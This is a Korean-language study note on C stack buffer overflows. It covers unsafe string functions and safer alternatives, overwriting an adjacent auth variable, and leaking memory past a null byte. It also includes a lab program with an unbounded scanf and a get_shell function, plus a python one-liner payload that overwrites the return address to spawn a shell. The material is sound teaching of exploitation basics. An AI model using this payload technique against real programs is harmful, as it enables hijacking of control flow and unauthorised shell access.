Buffer Over Flow
BOF
유저의 입력으로 버퍼를 침범시켜 개발자가 의도치 않은 메모리 영역을 덮어쓰는 취약점이다.
보통 c에선 \0 문자가 올때까지 문자열로 인식하기 때문에 문자열을 입력받을 때 문제가 많이 발생한다.
- scanf의
%s포맷스트링 대신%[n]s로 사이즈를 지정해줘야 한다.
ex) str[40] => %39s 로 NULL 바이트의 공간을 남겨줘야 한다. - strcpy, strcat, sprintf 등의 함수는 버퍼를 다루면서 길이를 지정하지 않아서 위험하기 때문에 strncpy, strncat, snprintf, fgets, memcpy등을 사용하면 좋다.
중요 데이터 변조
버퍼 오버플로우가 발생하는 버퍼 뒤에 중요한 데이터가 있다면 변조가 가능하다.
int check_auth(char *password) {
int auth = 0;
char temp[16];
if(!strcmp(temp, "SECRET_PASSWORD"))
auth = 1;
return auth;
}
이런 함수가 있을 때 SECRET_PASSWORD를 입력하지 않고도 BOF를 통해 auth를 다른 값으로 채워줄 수 있다.
disassemble 코드를 보면 auth 변수에 해당하는 4byte가 rbp-4 위치 인것을 알 수 있다.
password를 충분히 긴 문자열 (0123456789012345678901234567ABCD)로 받은 후 스택을 보면 auth 영역까지 침범하게 된다.
데이터 유출
같은 방법으로 문자열의 NULL 바이트를 overwrite 해서 출력할때 다른 메모리까지 읽어오면 데이터의 유출이 발생할 수 있다.
흐름 변경
함수의 call 명령어는 return address를 스택에 push 하게 되는데, 함수가 종료될 때 ret 명령어로 pop rip 와 같은 동작을 수행한다.
이때 이 return address 영역을 overwrite 하면 ret 명령에서 공격자가 원하는 메모리로 rip를 세팅할 수 있게 된다.
// gcc -o rao rao.c -fno-stack-protector -no-pie
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
printf("Input: ");
scanf("%s", buf);
return 0;
}
메인함수도 사실 프로그램의 entry point를 따라가다보면 호출해주는 함수이며, main의 스택에 저장된 return address를 get_shell 이라는 함수로 이동시키면 풀 수 있다.
문자열이 아닌 바이너리 데이터를 입력으로 주려면 python 같은 도구를 사용해야 한다.
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
core-dump
$ ./rao
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1] 1828520 segmentation fault (core dumped) ./rao
크래시로 프로그램이 종료되는 경우 에러와 함께 (core dumped) 메시지가 출력되는 것을 볼 수 있다.
ubuntu 20.04 기준으로 /var/lib/apport/coredump 위치에 저장되며, 코어파일 크기제한으로 저장되지 않는 경우 $ ulimit -c unlimited 명령으로 제한을 해제할 수 있다.
Comments